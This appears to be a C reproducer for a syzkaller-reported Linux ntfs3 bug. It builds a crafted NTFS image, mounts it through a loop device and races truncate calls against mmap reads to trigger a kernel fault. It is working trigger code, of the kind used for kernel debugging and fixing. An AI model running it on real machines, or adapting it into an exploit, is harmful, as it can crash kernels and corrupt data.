// https://syzkaller.appspot.com/bug?id=7d973c2541c51392f58dc92bab2655c5a9b01383 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #pragma pack(push, 1) struct NTFS_BOOT { uint8_t jump[3]; char system_id[8]; uint16_t bytes_per_sector; uint8_t sectors_per_clst; uint16_t reserved_sectors; uint8_t zero1[3]; uint16_t unused1; uint8_t media_descriptor; uint16_t unused2; uint16_t sectors_per_track; uint16_t number_of_heads; uint32_t hidden_sectors; uint32_t unused3; uint8_t bios_drive_num; uint8_t extended_flags; uint8_t extended_signature; uint8_t unused4; uint64_t sectors_per_volume; uint64_t mft_clst; uint64_t mft2_clst; int8_t record_size; uint8_t unused5[3]; int8_t index_size; uint8_t unused6[3]; uint64_t serial_number; uint32_t checksum; uint8_t boot_code[426]; uint16_t boot_magic; }; struct MFT_RECORD_HDR { uint32_t magic; uint16_t fix_off; uint16_t fix_num; uint64_t lsn; uint16_t seq; uint16_t hard_links; uint16_t attr_off; uint16_t flags; uint32_t used_bytes; uint32_t total_bytes; uint64_t base_ref; uint16_t next_attr_id; uint16_t dummy; uint32_t mft_rec_num; }; struct ATTR_RESIDENT { uint32_t type; uint32_t size; uint8_t non_res; uint8_t name_len; uint16_t name_off; uint16_t flags; uint16_t id; uint32_t data_size; uint16_t data_off; uint8_t res_flags; uint8_t pad; }; struct ATTR_NON_RESIDENT { uint32_t type; uint32_t size; uint8_t non_res; uint8_t name_len; uint16_t name_off; uint16_t flags; uint16_t id; uint64_t svcn; uint64_t evcn; uint16_t run_off; uint16_t comp_unit; uint32_t pad; uint64_t alloc_size; uint64_t data_size; uint64_t valid_size; }; struct ATTR_STD_INFO { uint64_t crtime; uint64_t mtime; uint64_t ctime; uint64_t atime; uint32_t file_flags; uint32_t max_ver; uint32_t ver_num; uint32_t class_id; uint32_t owner_id; uint32_t security_id; uint64_t quota_charge; uint64_t usn; }; struct ATTR_FILE_NAME { uint64_t parent_ref; uint64_t crtime; uint64_t mtime; uint64_t ctime; uint64_t atime; uint64_t alloc_size; uint64_t data_size; uint32_t flags; uint32_t reparse_tag; uint8_t name_len; uint8_t name_type; uint16_t name[]; }; struct ATTR_VOL_INFO_DATA { uint64_t reserved; uint8_t major_ver; uint8_t minor_ver; uint16_t flags; }; struct INDEX_HDR { uint32_t first_entry_off; uint32_t total_size; uint32_t alloc_size; uint8_t flags; uint8_t pad2[3]; }; struct INDEX_ROOT { uint32_t type; uint32_t collation_rule; uint32_t index_block_size; uint8_t clusters_per_block; uint8_t pad[3]; struct INDEX_HDR hdr; }; struct INDEX_ENTRY { uint64_t ref; uint16_t entry_len; uint16_t key_len; uint16_t entry_flags; uint16_t pad; }; struct ATTR_DEF_ENTRY { uint16_t name[64]; uint32_t type; uint32_t display_rule; uint32_t collation_rule; uint32_t flags; uint64_t min_size; uint64_t max_size; }; #pragma pack(pop) static void apply_mft_fixups(uint8_t *rec) { uint16_t usn = 1; uint16_t *fix_array = (uint16_t *)(rec + 0x30); uint16_t *sec0_end = (uint16_t *)(rec + 512 - 2); uint16_t *sec1_end = (uint16_t *)(rec + 1024 - 2); fix_array[0] = usn; fix_array[1] = *sec0_end; fix_array[2] = *sec1_end; *sec0_end = usn; *sec1_end = usn; } static int add_attr_std(uint8_t *buf, uint16_t id) { struct ATTR_RESIDENT *a = (struct ATTR_RESIDENT *)buf; int asize = sizeof(struct ATTR_RESIDENT) + sizeof(struct ATTR_STD_INFO); asize = (asize + 7) & ~7; memset(buf, 0, asize); a->type = 0x10; a->size = asize; a->id = id; a->data_off = sizeof(struct ATTR_RESIDENT); a->data_size = sizeof(struct ATTR_STD_INFO); struct ATTR_STD_INFO *std = (struct ATTR_STD_INFO *)(buf + sizeof(struct ATTR_RESIDENT)); std->file_flags = 0x20; return asize; } static int add_attr_name(uint8_t *buf, uint16_t id, uint64_t pref, const char *name, uint64_t size) { int nlen = strlen(name); int datalen = 66 + nlen * 2; int asize = sizeof(struct ATTR_RESIDENT) + datalen; asize = (asize + 7) & ~7; memset(buf, 0, asize); struct ATTR_RESIDENT *a = (struct ATTR_RESIDENT *)buf; a->type = 0x30; a->size = asize; a->id = id; a->data_off = sizeof(struct ATTR_RESIDENT); a->data_size = datalen; struct ATTR_FILE_NAME *fn = (struct ATTR_FILE_NAME *)(buf + sizeof(struct ATTR_RESIDENT)); fn->parent_ref = pref; fn->alloc_size = size; fn->data_size = size; fn->flags = 0x20; fn->name_len = nlen; fn->name_type = 3; for (int i = 0; i < nlen; i++) fn->name[i] = (uint8_t)name[i]; return asize; } static int add_attr_data_res(uint8_t *buf, uint16_t id, const void *data, uint32_t size) { struct ATTR_RESIDENT *a = (struct ATTR_RESIDENT *)buf; int asize = sizeof(struct ATTR_RESIDENT) + size; asize = (asize + 7) & ~7; memset(buf, 0, asize); a->type = 0x80; a->size = asize; a->id = id; a->data_off = sizeof(struct ATTR_RESIDENT); a->data_size = size; if (size > 0 && data) { memcpy(buf + sizeof(struct ATTR_RESIDENT), data, size); } return asize; } static int encode_run(uint8_t *buf, uint64_t clst_count, int64_t lcn) { buf[0] = 0x22; buf[1] = clst_count & 0xFF; buf[2] = (clst_count >> 8) & 0xFF; buf[3] = lcn & 0xFF; buf[4] = (lcn >> 8) & 0xFF; buf[5] = 0x00; return 6; } static void init_record(uint8_t *buf, uint32_t rec_num, uint16_t seq, uint16_t flags) { memset(buf, 0, 1024); struct MFT_RECORD_HDR *hdr = (struct MFT_RECORD_HDR *)buf; hdr->magic = 0x454C4946; hdr->fix_off = 0x30; hdr->fix_num = 3; hdr->seq = seq; hdr->hard_links = 1; hdr->attr_off = 0x38; hdr->flags = flags; hdr->total_bytes = 1024; hdr->mft_rec_num = rec_num; } int create_ntfs_image(const char *filename) { FILE *f = fopen(filename, "wb+"); if (!f) return -1; const uint64_t total_sectors = 204800; // 100MB const uint32_t clst_size = 4096; const uint64_t mft_lcn = 4; const uint64_t mftmirr_lcn = 20; const uint64_t logfile_lcn = 24; const uint64_t bitmap_lcn = 74; const uint64_t upcase_lcn = 75; const uint64_t mft_bitmap_lcn = 107; struct NTFS_BOOT boot; memset(&boot, 0, sizeof(boot)); boot.jump[0] = 0xEB; boot.jump[1] = 0x52; boot.jump[2] = 0x90; memcpy(boot.system_id, "NTFS ", 8); boot.bytes_per_sector = 512; boot.sectors_per_clst = 8; boot.media_descriptor = 0xF8; boot.sectors_per_track = 63; boot.number_of_heads = 255; boot.bios_drive_num = 0x80; boot.extended_signature = 0x80; boot.sectors_per_volume = total_sectors - 1; boot.mft_clst = mft_lcn; boot.mft2_clst = mftmirr_lcn; boot.record_size = -10; boot.index_size = -12; boot.serial_number = 0x1234567887654321ULL; boot.boot_magic = 0xAA55; fseek(f, 0, SEEK_SET); fwrite(&boot, sizeof(boot), 1, f); uint8_t mft_table[32 * 1024]; memset(mft_table, 0, sizeof(mft_table)); /* Record 0: $MFT */ { uint8_t *rec = mft_table + 0 * 1024; init_record(rec, 0, 1, 0x01); int off = 0x38; off += add_attr_std(rec + off, 1); off += add_attr_name(rec + off, 2, 5 | (5ULL << 48), "$MFT", 16 * clst_size); struct ATTR_NON_RESIDENT *a = (struct ATTR_NON_RESIDENT *)(rec + off); int rlen = encode_run(rec + off + sizeof(*a), 16, mft_lcn); int asize = (sizeof(*a) + rlen + 7) & ~7; a->type = 0x80; a->size = asize; a->non_res = 1; a->id = 3; a->evcn = 15; a->run_off = sizeof(*a); a->alloc_size = a->data_size = a->valid_size = 16 * clst_size; off += asize; struct ATTR_NON_RESIDENT *b = (struct ATTR_NON_RESIDENT *)(rec + off); int rlen2 = encode_run(rec + off + sizeof(*b), 1, mft_bitmap_lcn); int bsize = (sizeof(*b) + rlen2 + 7) & ~7; b->type = 0xB0; b->size = bsize; b->non_res = 1; b->id = 4; b->evcn = 0; b->run_off = sizeof(*b); b->alloc_size = clst_size; b->data_size = b->valid_size = 8; off += bsize; *(uint32_t *)(rec + off) = 0xFFFFFFFF; ((struct MFT_RECORD_HDR *)rec)->used_bytes = off + 8; apply_mft_fixups(rec); } /* Record 1: $MFTMirr */ { uint8_t *rec = mft_table + 1 * 1024; init_record(rec, 1, 1, 0x01); int off = 0x38; off += add_attr_std(rec + off, 1); off += add_attr_name(rec + off, 2, 5 | (5ULL << 48), "$MFTMirr", 4096); struct ATTR_NON_RESIDENT *a = (struct ATTR_NON_RESIDENT *)(rec + off); int rlen = encode_run(rec + off + sizeof(*a), 1, mftmirr_lcn); int asize = (sizeof(*a) + rlen + 7) & ~7; a->type = 0x80; a->size = asize; a->non_res = 1; a->id = 3; a->evcn = 0; a->run_off = sizeof(*a); a->alloc_size = a->data_size = a->valid_size = 4 * 1024; off += asize; *(uint32_t *)(rec + off) = 0xFFFFFFFF; ((struct MFT_RECORD_HDR *)rec)->used_bytes = off + 8; apply_mft_fixups(rec); } /* Record 2: $LogFile */ { uint8_t *rec = mft_table + 2 * 1024; init_record(rec, 2, 2, 0x01); int off = 0x38; off += add_attr_std(rec + off, 1); off += add_attr_name(rec + off, 2, 5 | (5ULL << 48), "$LogFile", 50 * clst_size); struct ATTR_NON_RESIDENT *a = (struct ATTR_NON_RESIDENT *)(rec + off); int rlen = encode_run(rec + off + sizeof(*a), 50, logfile_lcn); int asize = (sizeof(*a) + rlen + 7) & ~7; a->type = 0x80; a->size = asize; a->non_res = 1; a->id = 3; a->evcn = 49; a->run_off = sizeof(*a); a->alloc_size = a->data_size = a->valid_size = 50 * clst_size; off += asize; *(uint32_t *)(rec + off) = 0xFFFFFFFF; ((struct MFT_RECORD_HDR *)rec)->used_bytes = off + 8; apply_mft_fixups(rec); } /* Record 3: $Volume */ { uint8_t *rec = mft_table + 3 * 1024; init_record(rec, 3, 3, 0x01); int off = 0x38; off += add_attr_std(rec + off, 1); off += add_attr_name(rec + off, 2, 5 | (5ULL << 48), "$Volume", 0); struct ATTR_RESIDENT *a = (struct ATTR_RESIDENT *)(rec + off); int asize = (sizeof(*a) + sizeof(struct ATTR_VOL_INFO_DATA) + 7) & ~7; a->type = 0x70; a->size = asize; a->id = 3; a->data_off = sizeof(*a); a->data_size = sizeof(struct ATTR_VOL_INFO_DATA); struct ATTR_VOL_INFO_DATA *vi = (struct ATTR_VOL_INFO_DATA *)(rec + off + sizeof(*a)); vi->major_ver = 1; vi->minor_ver = 2; // NTFS 1.2 to skip $Secure off += asize; off += add_attr_data_res(rec + off, 4, NULL, 0); *(uint32_t *)(rec + off) = 0xFFFFFFFF; ((struct MFT_RECORD_HDR *)rec)->used_bytes = off + 8; apply_mft_fixups(rec); } /* Record 4: $AttrDef */ { uint8_t *rec = mft_table + 4 * 1024; init_record(rec, 4, 4, 0x01); int off = 0x38; off += add_attr_std(rec + off, 1); off += add_attr_name(rec + off, 2, 5 | (5ULL << 48), "$AttrDef", sizeof(struct ATTR_DEF_ENTRY)); struct ATTR_RESIDENT *a = (struct ATTR_RESIDENT *)(rec + off); int dsize = sizeof(struct ATTR_DEF_ENTRY); int asize = (sizeof(*a) + dsize + 7) & ~7; a->type = 0x80; a->size = asize; a->id = 3; a->data_off = sizeof(*a); a->data_size = dsize; struct ATTR_DEF_ENTRY *ade = (struct ATTR_DEF_ENTRY *)(rec + off + sizeof(*a)); memset(ade, 0, sizeof(*ade)); ade->type = 0x10; off += asize; *(uint32_t *)(rec + off) = 0xFFFFFFFF; ((struct MFT_RECORD_HDR *)rec)->used_bytes = off + 8; apply_mft_fixups(rec); } /* Record 5: Root Directory '.' */ { uint8_t *rec = mft_table + 5 * 1024; init_record(rec, 5, 5, 0x03); int off = 0x38; off += add_attr_std(rec + off, 1); off += add_attr_name(rec + off, 2, 5 | (5ULL << 48), ".", 0); struct ATTR_RESIDENT *a = (struct ATTR_RESIDENT *)(rec + off); int nlen = 4; int fn_datalen = 66 + nlen * 2; int entry1_len = (sizeof(struct INDEX_ENTRY) + fn_datalen + 7) & ~7; int entry2_len = sizeof(struct INDEX_ENTRY); int dsize = sizeof(struct INDEX_ROOT) + entry1_len + entry2_len; int asize = (sizeof(*a) + 8 + dsize + 7) & ~7; a->type = 0x90; a->size = asize; a->id = 3; a->name_len = 4; a->name_off = sizeof(*a); uint16_t *aname = (uint16_t *)(rec + off + sizeof(*a)); aname[0] = '$'; aname[1] = 'I'; aname[2] = '3'; aname[3] = '0'; a->data_off = sizeof(*a) + 8; a->data_size = dsize; struct INDEX_ROOT *ir = (struct INDEX_ROOT *)(rec + off + sizeof(*a) + 8); ir->type = 0x30; ir->collation_rule = 0x01; ir->index_block_size = 4096; ir->clusters_per_block = 1; ir->hdr.first_entry_off = 0x10; ir->hdr.total_size = 0x10 + entry1_len + entry2_len; ir->hdr.alloc_size = ir->hdr.total_size; ir->hdr.flags = 0; struct INDEX_ENTRY *ie1 = (struct INDEX_ENTRY *)((uint8_t *)ir + sizeof(struct INDEX_ROOT)); memset(ie1, 0, entry1_len); ie1->ref = 16 | (1ULL << 48); ie1->entry_len = entry1_len; ie1->key_len = fn_datalen; ie1->entry_flags = 0; struct ATTR_FILE_NAME *fn = (struct ATTR_FILE_NAME *)((uint8_t *)ie1 + sizeof(struct INDEX_ENTRY)); memset(fn, 0, fn_datalen); fn->parent_ref = 5 | (5ULL << 48); fn->alloc_size = 5; fn->data_size = 5; fn->flags = 0x20; fn->name_len = nlen; fn->name_type = 3; fn->name[0] = 't'; fn->name[1] = 'e'; fn->name[2] = 's'; fn->name[3] = 't'; struct INDEX_ENTRY *ie2 = (struct INDEX_ENTRY *)((uint8_t *)ie1 + entry1_len); memset(ie2, 0, entry2_len); ie2->ref = 0; ie2->entry_len = entry2_len; ie2->key_len = 0; ie2->entry_flags = 0x02; off += asize; *(uint32_t *)(rec + off) = 0xFFFFFFFF; ((struct MFT_RECORD_HDR *)rec)->used_bytes = off + 8; apply_mft_fixups(rec); } /* Record 6: $Bitmap */ { uint8_t *rec = mft_table + 6 * 1024; init_record(rec, 6, 6, 0x01); int off = 0x38; off += add_attr_std(rec + off, 1); off += add_attr_name(rec + off, 2, 5 | (5ULL << 48), "$Bitmap", 3200); struct ATTR_NON_RESIDENT *a = (struct ATTR_NON_RESIDENT *)(rec + off); int rlen = encode_run(rec + off + sizeof(*a), 1, bitmap_lcn); int asize = (sizeof(*a) + rlen + 7) & ~7; a->type = 0x80; a->size = asize; a->non_res = 1; a->id = 3; a->evcn = 0; a->run_off = sizeof(*a); a->alloc_size = clst_size; a->data_size = a->valid_size = 3200; off += asize; *(uint32_t *)(rec + off) = 0xFFFFFFFF; ((struct MFT_RECORD_HDR *)rec)->used_bytes = off + 8; apply_mft_fixups(rec); } /* Record 8: $BadClus */ { uint8_t *rec = mft_table + 8 * 1024; init_record(rec, 8, 8, 0x01); int off = 0x38; off += add_attr_std(rec + off, 1); off += add_attr_name(rec + off, 2, 5 | (5ULL << 48), "$BadClus", 0); unsigned char dummy_attr[] = { 0x80, 0x00, 0x00, 0x00, // type = ATTR_DATA 0x48, 0x00, 0x00, 0x00, // size = 72 0x01, // non_res = 1 0x00, // name_len = 0 0x40, 0x00, // name_off = 64 0x00, 0x00, // flags = 0 0x03, 0x00, // id = 3 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // svcn = 0 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // evcn = 0 0x40, 0x00, // run_off = 64 0x00, 0x00, // comp_unit = 0 0x00, 0x00, 0x00, 0x00, // res2 = 0 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // alloc_size = 0 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // data_size = 0 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // valid_size = 0 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // runlist (empty) }; memcpy(rec + off, dummy_attr, sizeof(dummy_attr)); off += sizeof(dummy_attr); *(uint32_t *)(rec + off) = 0xFFFFFFFF; ((struct MFT_RECORD_HDR *)rec)->used_bytes = off + 8; apply_mft_fixups(rec); } /* Record 10: $UpCase */ { uint8_t *rec = mft_table + 10 * 1024; init_record(rec, 10, 10, 0x01); int off = 0x38; off += add_attr_std(rec + off, 1); off += add_attr_name(rec + off, 2, 5 | (5ULL << 48), "$UpCase", 131072); struct ATTR_NON_RESIDENT *a = (struct ATTR_NON_RESIDENT *)(rec + off); int rlen = encode_run(rec + off + sizeof(*a), 32, upcase_lcn); int asize = (sizeof(*a) + rlen + 7) & ~7; a->type = 0x80; a->size = asize; a->non_res = 1; a->id = 3; a->evcn = 31; a->run_off = sizeof(*a); a->alloc_size = a->data_size = a->valid_size = 131072; off += asize; *(uint32_t *)(rec + off) = 0xFFFFFFFF; ((struct MFT_RECORD_HDR *)rec)->used_bytes = off + 8; apply_mft_fixups(rec); } /* Record 16: "test" */ { uint8_t *rec = mft_table + 16 * 1024; init_record(rec, 16, 1, 0x01); int off = 0x38; off += add_attr_std(rec + off, 1); off += add_attr_name(rec + off, 2, 5 | (5ULL << 48), "test", 5); off += add_attr_data_res(rec + off, 3, "hello", 5); *(uint32_t *)(rec + off) = 0xFFFFFFFF; ((struct MFT_RECORD_HDR *)rec)->used_bytes = off + 8; apply_mft_fixups(rec); } fseek(f, mft_lcn * clst_size, SEEK_SET); fwrite(mft_table, 32 * 1024, 1, f); fseek(f, mftmirr_lcn * clst_size, SEEK_SET); fwrite(mft_table, 4 * 1024, 1, f); fseek(f, logfile_lcn * clst_size, SEEK_SET); uint8_t ff_buf[4096]; memset(ff_buf, 0xFF, sizeof(ff_buf)); for (int i = 0; i < 50; i++) { fwrite(ff_buf, sizeof(ff_buf), 1, f); } fseek(f, bitmap_lcn * clst_size, SEEK_SET); uint8_t bmp[4096]; memset(bmp, 0, sizeof(bmp)); for (int i = 0; i <= 107; i++) { bmp[i / 8] |= (1 << (i % 8)); } fwrite(bmp, sizeof(bmp), 1, f); fseek(f, upcase_lcn * clst_size, SEEK_SET); uint16_t upcase_tbl[65536]; for (int i = 0; i < 65536; i++) { if (i >= 'a' && i <= 'z') upcase_tbl[i] = i - ('a' - 'A'); else upcase_tbl[i] = i; } fwrite(upcase_tbl, sizeof(upcase_tbl), 1, f); fseek(f, mft_bitmap_lcn * clst_size, SEEK_SET); uint8_t mft_bmp[4096]; memset(mft_bmp, 0, sizeof(mft_bmp)); mft_bmp[0] = 0x7F; mft_bmp[1] = 0x05; mft_bmp[2] = 0x01; fwrite(mft_bmp, sizeof(mft_bmp), 1, f); fflush(f); if (ftruncate(fileno(f), total_sectors * 512) < 0) { fclose(f); return -1; } fclose(f); return 0; } int fd; volatile int stop = 0; void *truncate_thread(void *arg) { while (!stop) { if (ftruncate(fd, 20) < 0) {} if (ftruncate(fd, 5) < 0) {} } return NULL; } void *read_thread(void *arg) { char *ptr = mmap(NULL, 4096, PROT_READ, MAP_SHARED, fd, 0); if (ptr == MAP_FAILED) { perror("mmap"); return NULL; } volatile char val; while (!stop) { madvise(ptr, 4096, MADV_DONTNEED); posix_fadvise(fd, 0, 4096, POSIX_FADV_DONTNEED); val = ptr[0]; } munmap(ptr, 4096); return NULL; } int main(void) { umount2("/tmp/mnt", MNT_FORCE | MNT_DETACH); unlink("/tmp/img.ntfs"); printf("[*] Creating NTFS image...\n"); if (create_ntfs_image("/tmp/img.ntfs") != 0) { printf("[-] Failed to create NTFS image\n"); exit(1); } printf("[+] NTFS image created\n"); int loop_c_fd = open("/dev/loop-control", O_RDWR); if (loop_c_fd < 0) { printf("[-] Failed to open /dev/loop-control: %s\n", strerror(errno)); exit(1); } int loop_num = ioctl(loop_c_fd, LOOP_CTL_GET_FREE); if (loop_num < 0) { printf("[-] Failed to get free loop device: %s\n", strerror(errno)); exit(1); } close(loop_c_fd); char loop_name[64]; sprintf(loop_name, "/dev/loop%d", loop_num); int loop_fd = open(loop_name, O_RDWR); if (loop_fd < 0) { printf("[-] Failed to open %s: %s\n", loop_name, strerror(errno)); exit(1); } int file_fd = open("/tmp/img.ntfs", O_RDWR); if (file_fd < 0) { printf("[-] Failed to open /tmp/img.ntfs: %s\n", strerror(errno)); exit(1); } if (ioctl(loop_fd, LOOP_SET_FD, file_fd) < 0) { printf("[-] Failed to LOOP_SET_FD: %s\n", strerror(errno)); exit(1); } printf("[+] Loop device %s setup\n", loop_name); close(loop_fd); close(file_fd); mkdir("/tmp/mnt", 0777); usleep(250000); int retries = 100; int mount_ret = -1; while (retries--) { mount_ret = mount(loop_name, "/tmp/mnt", "ntfs3", 0, ""); if (mount_ret == 0) { break; } if (errno != EBUSY) { printf("[-] mount failed with unexpected error: %s\n", strerror(errno)); break; } usleep(50000); } if (mount_ret != 0) { printf("[-] mount failed after retries\n"); exit(1); } printf("[+] Mounted NTFS image\n"); fd = open("/tmp/mnt/test", O_RDWR); if (fd < 0) { printf("[-] Failed to open /tmp/mnt/test: %s\n", strerror(errno)); exit(1); } printf("[+] Opened /tmp/mnt/test\n"); pthread_t t1; pthread_t t2[4]; pthread_create(&t1, NULL, truncate_thread, NULL); for (int i = 0; i < 4; i++) { pthread_create(&t2[i], NULL, read_thread, NULL); } sleep(5); stop = 1; pthread_join(t1, NULL); for (int i = 0; i < 4; i++) { pthread_join(t2[i], NULL); } close(fd); umount2("/tmp/mnt", MNT_FORCE | MNT_DETACH); loop_c_fd = open("/dev/loop-control", O_RDWR); if (loop_c_fd >= 0) { ioctl(loop_c_fd, LOOP_CTL_REMOVE, loop_num); close(loop_c_fd); } printf("[+] Done\n"); return 0; }